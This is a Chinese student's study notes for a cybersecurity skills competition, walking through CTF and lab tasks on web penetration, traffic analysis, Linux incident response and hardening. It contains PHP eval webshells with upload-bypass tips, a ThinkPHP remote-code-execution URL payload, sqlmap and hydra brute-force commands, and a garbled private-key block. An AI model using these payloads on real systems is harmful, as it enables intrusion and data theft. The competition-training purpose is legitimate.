序言
题主最近参加了金砖比赛,因为没有人指导,所以在备战期间也是摸桥过河比较痛苦,现在比完了,索性将自己在准备期间做的文档分享出来,希望之后参加这个比赛的同学能有所依据。
(重点:不要死刷题,要理解背后的原理,重在理解理解理解!)
【样题如下】
Webcms
知识
Kali制作图片马使用的命令是:
1.cat 图片 木马 > 图片马
2.echo 一句话木马 > 图片
任务
1.使用扫描器,获取靶机的Web服务端口号并提交
2.获取网站源码,将根目录下的文件夹个数提交
上传webshell,或者使用一些爆破工具
如下为python脚本爆破根目录(只能爆破在前端显示的目录)
import requests
def check_directory_traversal(base_url):
traversal_path = "../../../../"
target_url = f"{base_url}/{traversal_path}"
# 发送请求,尝试访问目标目录
response = requests.get(target_url)
if response.status_code == 200:
print("Directory traversal might be successful!")
print("Response content:")
print(response.text)
else:
print("Failed to access the directory.")
# 修改为目标网站的URL
base_url = "http://192.168.114.136/"
check_directory_traversal(base_url)
3.找出网站管理后台,提交后台页面的地址
使用dirb http://192.168.0.148/cms | grep -v "403\|404" 2>/dev/null
--grep -v 中的v:invert(反转)
如下所示
4.找出数据库密码并提交
1.使用fscan扫描IP地址得到密码
2.爆破数据库密码可以得到
5.登录靶机数据库,提交后台密码的密文
Navicat连接数据库,在user表中查看密码密文
或者mysql -u -p -h+IP地址
Show tables in database;
Show columns from database.table;
Show column from database.table;
6.重置后台密码,修改为hacker,并将修改的内容提交
直接点击右上角修改密码即可
7.登录管理后台,将后台中隐藏的flag提交
暴力破解后台密码,登录成功
8.获取服务器跟目录下的flag并提交
MISC
知识
Base编码
Base编码包括:base64,base32,base16
具体区分如下所示
Binwalk可以看到wireshark数据包中有哪些文件
提取文件可以使用这个命令:binwalk --dd=”.*” 文件
任务(没有样题,选了几道ctf题目)
Buuctf
神必流量-81
下载附件,打开发现是分析USB流量的题目,老规矩,先搜索一下flag看看
发现有.7z的压缩文件,于是用binwalk看一下
果然有压缩文件
分离一下
点开发现这个文件是带锁的
因为是.7z文件所以用passware软件暴力破解(如果是zip文件的话直接用ARCHPR即可)
解压后发现flag.txt文件,打开显示的一个网址,于是用浏览器打开
两个文件,下载下来,密码还是123456
然后运行main.exe文件(注意,flag文件也要跟这俩文件放在一起)
然后点开out.txt即可查看flag(不知道为什么我的看不了QAQ)
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDCm6vZmc1JrVH1AAyGuCuSSZ8O+mIQiOUQCvNOHYbJ8153JfSQ LsJIhbRYS7+zZl oXvPemWQDv/U/tzegt58q4ciNmcVnql uKiygc6QOtvl7oislvMX/q5iE2iC1YUIHZEKX3BjjNDxrYvLQzPyGD1EY2DZIO6T45FNKYC2VDwIDAQABA0GAbtWUKUkx37lLfRq7B5sqj ZVKdpBZe4tLOjg6cX5Djd3UhklinR9UXVNw4/y4 QGfzYqOnB+Cq7QSoBysHOeXSiPztW2cL09ktPgSlf'TQyN6LNGu iUOYnaTWYZpp/ QbRcZ/eHBu1VQL1k5M6RVs9BLI9XOBRA17cwumiRfWas6kCQQDvqCOdxl2wIjwNczILcoWLig2c2u7l Nev9DrWjWHUBeHDuzCJWvOUAHIrkexddWEK2VHd+El3GBCOQZCM4prBjAkEAz+NabsjB4+7H1HdIawO+goe/45d6A2ew0/1YH6dDZTAzTW9z9 kzV8uz+Mmo5l 63/JtvwYQcKE39DJGGtqZQJBAKa1BXR16fQ9TEL64EQwTQ+tYBzN +O4eTWQCmH3haeQ/OCd9XyHBUveJ42Be8/jeDcIx7dGLxZKajHbEAfBEnAsCQGq1 AnbJ4Z60pJCGu+UP2c8SCBmObhZJDe1PRCBIKE2BeB6S0tgP61 ZqaVmQ+HLJ1 /wH /5pfc3AmEyRdfyx6zwUCQCAH4SLJv/kprRzl al gx8ER5tj4NeHEFFNEgq1gmiwmH 2STT5qZWzQEzB、Re+/otNOHBR2Xk4eBIS+ehIJ3TvyE=
-----END RSA PRIVATE KEY-----
大流量分析
一
先过滤http流量,然后过滤flag,直接出答案
二
因为题目提示是邮件,所以直接过滤smtp数据流,发现第一个有异常
直接定位
三
猜测上传的后门文件是phpinfo()
于是直接过滤http contains “phpinfo()”,然后过滤字段.php,找到admin.bak.php文件
[第九章][9.3.1 HTTP流量分析]http流量分析
拿到包根据题目提示直接过滤http,然后搜索flag,直接得到答案
[NewStarCTF 公开赛赛道]最后的流量分析
直接打开流量包,搜索http,然后发现大堆的SQL注入语句,挨个提取出字母可以得到flag(细心!!)
乌镇峰会种图
下载附件发现是张图片
先查看属性种有没有信息
什么都没有发现,于是猜测图片源码中有信息,直接用notepad打开得到flag👇
N种方法解决
下载附件发现是一个.exe程序,直接notepad打开,发现是个image文件,于是直接复制在浏览器中打开,得到一张二维码
扫码得到flag
Bugku
流量分析听说过吗
拿到流量包过滤http,发现一个zip文件包,于是直接binwalk分离,之后得到flag
Crypto
PWN
因为题主是单人参赛,所以果断放弃了这两个模块......
Linux应急响应分析
知识
1.查看系统的计划任务命令:crontab -l
2.修改文件时间戳:touch -m -t 时间
-m:只更新修改时间
-t:修改时间
-a:只更新访问时间
3.usleep命令:使程序暂停多少微秒
4.netstat命令
-a:显示所有连接的端口
-n:以数字形式显示地址和端口号
-t:回显TCP连接
-l:显示监听状态的套接字
-p:显示使用每个套接字的程序
5.chmod修改文件权限详解:
-解释:文件权限分为三部分->创建文件的用户(u)、此用户的用户组(g)、其他用户(o)
-权限数字化:-r 4 -w 2 -x 1
例子:chmod 777 hello.php chmod 600 hello.php
--777表示三部分的用户都具备rwx权限
--600表示创建文件的用户部分具备r、w权限(4+2),其他的都没有任何权限
6.正则表达式过滤ssh爆破字典用户名密码:
7.ssh爆破、新建用户的日志文件:/var/log/auth.log.1
8./dev/null文件夹:所有输进去的内容都会被丢弃
9.find命令一般是不在SUID中的,如果在的话那就证明是入侵者利用它进行提权了
--SUID:普通用户利用这个提权可以去干一些权限高的事情
--查找具备SUID权限的文件路径:find / -perm -u=s -type f 2>/dev/null
---perm:指定要搜索的文件权限 -u=s就是SUID 2是错误输出,2>dev/null的意思是将错误输出丢弃
--常见的不应该SUID的命令工具:find,vim,tcpdump,perl
10.查找linux系统中文件夹的路径命令:which+文件夹名
11.Exec值:就是文件的路径,字段值是文件的执行权限(用命令ls -l查看)
12.awk命令
用这个命令可以过滤日志文件中的特定IP
--$1表示第一列
任务
- 对该WebServer服务器进行分析,将黑客ip作为flag
在web服务器目录下发现木马文件,通过分析发现了shell(1).elf文件很可疑(因为elf后缀的文件是可执行文件)
【第一种方法】
给文件升下权限:chmod +777 shell(1).elf,然后执行
Netstat -anltp 发现黑客的IP
【第二种方法】
命令:awk ‘{print $1}’ access.log | sort | uinq -c
-注意:下图为日志文件的分段(前面画错了,用红笔又画了一下,两个“-”代表不同列,时间是在一列的)
- 对该WebServer服务器进行分析,将黑客使用的漏洞扫描器工具名作为flag
没有找到具体的流量,但存放这种的文件是access.log
在Nginx的路径为www/wwwlogs/nginx(可以直接用find命令搜索access.log)
常见的扫描工具:AWVS(WVS),sqlmap等
通过对access.log文件使用awk命令过滤User-agent字段可以鉴别出漏洞扫描器
- 对该WebServer服务器继续分析,将黑客第一次入侵时间作为flag
登录服务器网站,查看日志(或者在access.log中查看)
通过awk命令可以过滤黑客IP,然后查看最早的时间即可
- 对该WebServer服务器进行分析,将黑客利用漏洞成功写入木马的路径作为flag
命令:find / -name "*.php" | xargs grep "eval("
-xargs:将输入转换成命令行参数,然后用grep进行过滤(不加xargs的话,后边过滤不出来文件路径)
--grep -a:-a参数表示将二进制文件当作文本文件进行过滤
5.对该WebServer服务器进行分析,将黑客在服务器上提权使用的二进制文件路径名作为flag
1.查看进程 crontab -l
2.查找最近的二进制文件:find / -type f -perm -4000 -exec ls -la {} \; 2>/dev/null
3.检查日志
流量溯源
知识
1. 维吉尼亚密码:通过将明文字母与密钥的字母对应起来进行字母的替换达到加密的效果
-如何对应?设密钥为“KEY”
--比如明文是"HELLO WORLD",密钥重复后为"KEYKE"
将明文和重复后的关键字对应起来,明文和关键字对应如下:
H E L L O W O R L D
K E Y K E Y K E Y
Wireshark分析流量数据
任务
企业网络安全配置与渗透
知识
Sqlmap
GET请求
使用前提:有sql注入点
命令:
- 查询库名
sqlmap -u "http://192.168.0.177/pikachu/vul/sqli/sqli_str.php?name=?id=1&submit" --dbs
- 查询表名
sqlmap -u "http://192.168.0.177/pikachu/vul/sqli/sqli_str.php?name=?id=1&submit" -D database_name –tables
- 查询列名
sqlmap -u "http://192.168.0.177/pikachu/vul/sqli/sqli_str.php?name=?id=1&submit" -D database_name -T tables_name –column
- 查询列内容
sqlmap -u "http://192.168.0.177/pikachu/vul/sqli/sqli_str.php?name=?id=1&submit" -D database_name -T tables_name -C column_name --dump
--注意:这个URL是从Burp抓包抓到的,也可以直接在URL中输入参数
POST请求
注入点判断:需要用burp抓包然后复制所有内容到kali上用.txt文件保存然后用sqlmap
命令实现:sqlmap -r post.txt --dbs (post.txt就是保存的请求内容)
加固
lftp连接ftp服务器命令格式:lftp ftp://用户名:密码@FTP地址
iptables删除所有规则命令:iptables -F
-删除某一条规则->
1.先查询规则编码iptables -L –line-numbers 2.删除序号iptables -D INPUT 序号
Firewalld防火墙查看配置的规则如下
firewall-cmd --list-al
linux限制ftp的登录次数:在vsftp.conf文件中定义登录的最大失败次数即可
--(可以再加一句代码)delay_failed_login=10:每次失败登录尝试后延迟 10 秒。
Fail2ban工具,可配置ftp,ssh,web服务器
在jail.conf中输入如下即可动态防爆破
[vsftpd]
enabled = true
port = ftp
filter = vsftpd
logpath = /var/log/vsftpd.log
maxretry = 3
mysql加固也可以使用fail2ban工具,配置文件中输入如下
[mysqld-auth]
enabled = true
filter = mysqld-auth
logpath = /var/log/mysql/mysql.log
maxretry = 3
bantime = 600
findtime = 600
数据库加固,防火墙配置如下:
iptables -A INPUT -p tcp --dport 3306 -m conntrack --ctstate NEW -m recent --set
iptables -A INPUT -p tcp --dport 3306 -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
小皮下载的mysql配置文件在/xp/server/mysql中,修改my.cnf即可手工加固
[mysqld]
bind-address = 127.0.0.1(只允许本地登录mysql)
等保测评
Chage:修改查看账号密码的过期时间
Ssh查看版本命令:ssh -V
Etc/Sudoers文件查看用户的权限是否分离
Centos7中的日志审计功能模块:auditd(如果不行的话试试syslog);日志在/var/log/audit/audit.log(但一般的系统都在/log/auth.log)
Uname命令:打印系统信息(系统内核信息)
任务
这个任务涉及网络安全中的渗透测试与系统加固,任务分为多个步骤。以下是任务的详细解析,按要求排版如下:
---
### 背景
您的团队正在对 A 集团进行等保测评,寻找存在漏洞的服务器并进行渗透测试。随后,需要对服务器进行加固,再次进行渗透以确认加固的有效性。
---
第一阶段:漏洞发现与渗透
1. **任务 1**
**目标**:找到 A 集团主站点,进行渗透测试,找到后台管理页面和系统账户。
**提交格式**:`flag{后台端口+服务运行账户}`
**操作**:使用工具如 `nmap`、`dirb`、`Burp Suite` 探测端口和后台登录页面,找到系统账户名和端口号。
直接在网站后输入admin.php即跳转后台界面(dirb也在用,但一直没爆出来,索性一试,直接出来后台了)
服务运行账户不太清清楚,应该是后台登录的用户名?
2. **任务 2**
**目标**:获取后台管理员“admin”的密码。
**提交格式**:`flag{密码}`
**操作**:使用密码破解工具如 `hydra` 或 `John the Ripper` 对管理员账户进行暴力破解或字典攻击。
利用火狐浏览器和burp抓包字典爆破,爆出密码
3. **任务 3**
**目标**:找到主站点 root 目录下的 flag。
**提交格式**:`flag{******}`
**操作**:进行目录遍历,查找 root 目录,可能利用远程命令执行漏洞。
上传webshell即可(难点)
--burp改包;大小写;图片马;
进入管理后台发现了上传文件的地方(忽略我已经上传的php文件)
进入kali写一个一句话木马
<?php
fputs(fopen("hack.php","w"),"<?php @eval(\$_POST['duang']) ?>")
?>
修改文件为php.jpg格式,发送的时候抓包修改格式为php即可
4. **任务 6**
**目标**:对 A 集团的数据库(DB)服务器进行渗透测试,找到管理页面并提交其中的 flag。
**提交格式**:`flag{******}`
**操作**:使用数据库扫描工具或 SQL 注入漏洞查找管理页面,获取页面中的 flag。
想对数据库进行渗透测试,sqlmap使用的时候需要我们自己先找到一个注入点,比如.php?id=1这样的注入点,然后用sqlmap进行爆破
5. **任务 7**
**目标**:获取数据库管理员的密码。
**提交格式**:`flag{******}`
**操作**:对数据库进行渗透,尝试暴力破解或利用数据库安全漏洞获取管理员密码。
Sqlmap爆破user表
6. **任务 8**
**目标**:获取数据库服务器 root 目录下的 flag。
**提交格式**:`flag{******}`
**操作**:进入数据库服务器的文件系统,访问 root 目录下的文件。
知道用户名和密码,直接用navicat连接即可获得
Kali访问方式:mysql -uroot -p -h IP地址
7. **任务 11**
**目标**:对 A 集团的 FTP 服务器进行渗透测试,暴力破解用户名并提交。
**提交格式**:`flag{******}`
**操作**:使用工具如 `hydra` 对 FTP 服务进行暴力破解,获取用户名。
使用hydra爆破ftp账号密码
命令:hydra -L username.txt -P pass.txt -vV password.txt ftp://IP
--vV:显示详细信息
8. **任务 12**
**目标**:对 A 集团的 FTP 服务器进行渗透测试,暴力破解密码并提交。
**提交格式**:`flag{******}`
**操作**:继续暴力破解 FTP 服务器的密码。
继续使用hydra进行爆破
9. **任务 13**
**目标**:下载 FTP 用户目录下的文件并提交文件中的 flag。
**提交格式**:`flag{******}`
**操作**:进入暴力破解获得的 FTP 账户,下载其目录下的文件,提取 flag。
ftp直接连接,输入账号密码即可
Lftp连接格式如下
第二阶段:安全加固
1. **任务 4**
**目标**:对主站点进行加固,在防火墙(FW)上开启认证,提交相应的模块名称。
**提交格式**:`flag{***/***}`
**操作**:在防火墙上启用认证模块,防止未经授权的访问,并提交相关模块名称。
(1)在iptables防火墙上设置,命令如下:
# 记录每个尝试连接端口 80 的新连接
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --set --name http_flood --rsource
# 如果同一 IP 在 60 秒内连接 5 次或更多,则拒绝连接
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 60 --hitcount 5 --name http_flood --rsource -j REJECT
# 允许未超出限制的连接
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
#保存
Service iptables save
查看得到如下(iptables -L)
(2)在firewalld防火墙上设置,命令如下:
sudo firewall-cmd --zone=public --add-rich-rule='rule family="ipv4" source address="0.0.0.0/0" service name="http" log prefix="http_access: " level="info"'
--log prefix=”http_access”:记录到系统日志的前缀是http_access
--leve=info:日志的级别
sudo firewall-cmd --zone=public --add-rich-rule='rule family="ipv4" source address="0.0.0.0/0" service name="http" reject'
firewall-cmd --reload
再查看,可以得到(firewall-cmd –list-all)
--0.0.0.0/0表示任意IP地址
--reload表示重新加载
2. **任务 9**
**目标**:在 Web 应用防火墙(WAF)上配置基础防御功能,建立“HTTP 防御”规则。
**提交格式**:`flag{******}`
**操作**:在 WAF 上配置 HTTP 防御规则,阻止常见的 HTTP 攻击,提交相应模块名称。
本题考查过滤SQL注入
去到WAF中的mod_security.conf中配置包含文件,包含文件中写有如下语句
SecRule REQUEST_URI "@rx \b(select|union|insert|update|delete|drop|or|and|having|limit)\b" "id:1000001,phase:2,deny,status:403"
SecRule ARGS "@rx \b(select|union|insert|update|delete|drop|or|and|having|limit)\b" "id:1000002,phase:2,deny,status:403"
重启httpd/apache2服务即可
如果是别的WAF看看能不能在那个平台内部设置防SQL注入
3. **任务 14**
**目标**:在防火墙(FW)上配置防御功能,阻止暴力破解攻击。
**提交格式**:`flag{******}`
**操作**:设置防火墙的暴力破解防御功能,提交模块名称。
- firewalld设置ftp的防暴力破解
sudo firewall-cmd --zone=public --add-rich-rule='rule family="ipv4" service name="ftp" log prefix="FTP Access: " level="info"'
sudo firewall-cmd --zone=public --add-rich-rule='rule family="ipv4" source address="1.2.3.4" reject'
firewalld-cmd --reload
- Iptables设置防御ftp暴力破解
# 允许 FTP 流量
iptables -A INPUT -p tcp --dport 21 -j ACCEPT
# 限制 FTP 登录尝试次数
iptables -A INPUT -p tcp --dport 21 -m state --state NEW -m recent --set
iptables -A INPUT -p tcp --dport 21 -m state --state NEW -m recent --update --seconds 60 --hitcount 3 -j REJECT
#保存
service iptables save
第三阶段:验证加固效果
1. **任务 5**
**目标**:再次渗透总站点后台管理页面,提交页面回显的第三行最后一个单词。
**提交格式**:`flag{******}`
**操作**:在加固后的服务器上再次渗透,获取后台页面回显信息。
再次渗透后台管理界面即可
2. **任务 10**
**目标**:对数据库管理页面进行再次渗透,提交页面回显的第一行第四个单词。
**提交格式**:`flag{******}`
**操作**:在数据库管理页面获取页面回显信息,提交对应 flag。
再次渗透数据库即可
3. **任务 15**
**目标**:再次渗透 FTP 服务器,提交页面回显的第三行第二个单词。
**提交格式**:`flag{******}`
**操作**:再次访问 FTP 服务器,获取页面回显的信息。
再次渗透ftp服务器即可
---
### 任务总结
在这个任务中,您需要完成对 A 集团的渗透测试,包括网站、数据库、FTP 等多种服务。每个渗透点均有相应的 flag 需要提交。在完成渗透测试后,您还需要进行安全加固,并对加固后的系统再次进行渗透测试,以验证加固措施的有效性。
靶场行动
知识
AWD的攻防模式,包括安全加固的所有知识,和渗透测试的知识
BUUCTF
AWD-test1
打开环境,给了一个网址
打开网址后看到网站的内容
随便点击一个看看,发现显示了ThinkPHP的版本
于是直接搜索这个版本的漏洞,发现了这个版本有远程代码执行漏洞
根据文档中的内容,说明这个版本有远程命令执行漏洞,于是直接在网址中输入下面的payload👇
http://IP/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=hack.php&vars[1][]=<?php eval($_POST[cmd]); ?>
然后访问http://IP//hack.php,发现没有回显表示命令执行成功
然后利用蚁剑连接hack.php,在根目录下发现flag
--图片改天发,太多了